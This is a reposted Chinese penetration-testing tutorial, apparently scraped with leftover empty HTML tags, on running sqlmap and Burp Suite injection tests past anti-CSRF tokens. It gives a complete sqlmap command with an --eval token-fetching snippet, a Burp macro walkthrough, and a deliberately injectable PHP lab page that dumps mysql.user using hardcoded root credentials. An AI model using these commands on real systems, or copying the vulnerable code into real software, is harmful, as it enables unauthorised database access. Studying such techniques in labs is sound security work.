<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/2460

                    from: http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-1/

                    http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part-2/


                    問題:http://drops.wooyun.org/tips/2444

                    附加其他案例(--eval): https://gist.github.com/McSimp/2602fd7ee7203e34268b

                    當在測試某些網站注入時我們會遇到token,只能手工或者寫工具之后進行自動化處理,就sqlmap和burpsuite而言各有各的方法。

                    Sqlmap如下:

                    [email protected] /pentest/databases/sqlmap
                    $ python sqlmap.py -u "http://192.168.83.117/2.php" --data="token=123&id=root" --eval="import urllib2;import re;a=urllib2.build_opener();a.addheaders.append(('Cookie', 'PHPSESSID=72u0q0sem6tbnrqq4bmqs4an05'));token=re.search(r'\w{32}',a.open('http://192.168.83.117/2.php').read()).group(0);print token;" -p id --dbs --cookie="PHPSESSID=72u0q0sem6tbnrqq4bmqs4an05" --current-user
                    

                    Burpsuite如下:

                    在burpsuite 里提供了一個session handler 機制,可以讓我們更好的去自動化處理這些。 事例代碼如下:

                    #!php
                    <?php
                    /*
                    * PHP簡單利用token防止表單重復提交
                    * 此處理方法純粹是為了給初學者參考
                    */
                    session_start();
                    var_dump($_REQUEST);
                    function set_token() {
                        $_SESSION['token'] = md5(microtime(true));
                    }
                    
                    function valid_token() {
                        $return = $_REQUEST['token'] === $_SESSION['token'] ? true : false;
                        set_token();
                        return $return;
                    }
                    
                    //如果token為空則生成一個token
                    if(!isset($_SESSION['token']) || $_SESSION['token']=='') {
                        set_token();
                    }
                    
                    error_reporting(E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE);
                    @mysql_connect("127.0.0.1".':'."3306",root,'123')
                    or die("數據庫服務器連接失敗");   
                    @mysql_select_db('mysql')
                    or die("數據庫不存在或不可用");
                    
                    if(isset($_POST['id'])){
                        if(!valid_token()){
                            echo "token error";
                        }else{
                            //echo '成功提交,Value:'.$_POST['test'];
                            $id=$_REQUEST[id];
                            $sql='select user,password,host from mysql.user where user='."'".$id."'".' limit 0,1;';
                            echo $sql;
                            mysql_query('$sql');
                            $set_result = mysql_query($sql); 
                            while($row =mysql_fetch_array($set_result)){
                                $result[]=$row;
                            }
                            var_dump($result);
                        }
                    }
                    //echo "SESSION ".$_SESSION['token'];
                    ?>
                    <form method="post" action="">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']?>">
                        <input type="text" name="id" value="root">
                        <input type="submit" value="提交" />
                    </form>
                    

                    在options 欄目的sessions標簽里 添加 session handling rules,調出 session handling rule editor:rule description 規則的描述;rule actions 規則的主體部分。 在rule actions 添加 run a macro 類型的調用,調出 session handling action editor ,選擇 select macro 下的add ,用于添加macro ,出現兩個對話框: macro editor和macro recorder ,前者是用于macro 的分析和設定,后者對于請求的一個錄制。 在macro recoder 里 設定intercept is off (右上角位置),切換到瀏覽器 先請求一次 127.0.0.1/2.php 之后對于表單內容進行提交。切到macro recorder 里,用ctrl選中這兩次請求,點擊 OK 。就此回到了macro editor 窗口,點擊test macro 觀看請求和響應數據包中的token 是否正確。 enter image description here

                    如果不正確,單擊分析re-analyze macro或者選擇configure item 進行修正,如下圖。 enter image description here

                    Macro Editor 配置完之后,窗口回到了 session handling action editor。 在sqlmap->burpproxy 測試時, marco 會把我的id參數只指定為root1(marco錄制時id指定的是root1,至于這樣的原因有待測試),不會發送我的payload,而在intruder 則不出現此問題 。設置只替換token參數即可,設置如下圖:

                    enter image description here

                    在select macro 里選定剛才錄制的 macro,確定。回到session hand rule editor ,在其子標簽scope里,:設置作用域(根據自己的實際情況再定):

                    enter image description here

                    運行結果如下:

                    enter image description here

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频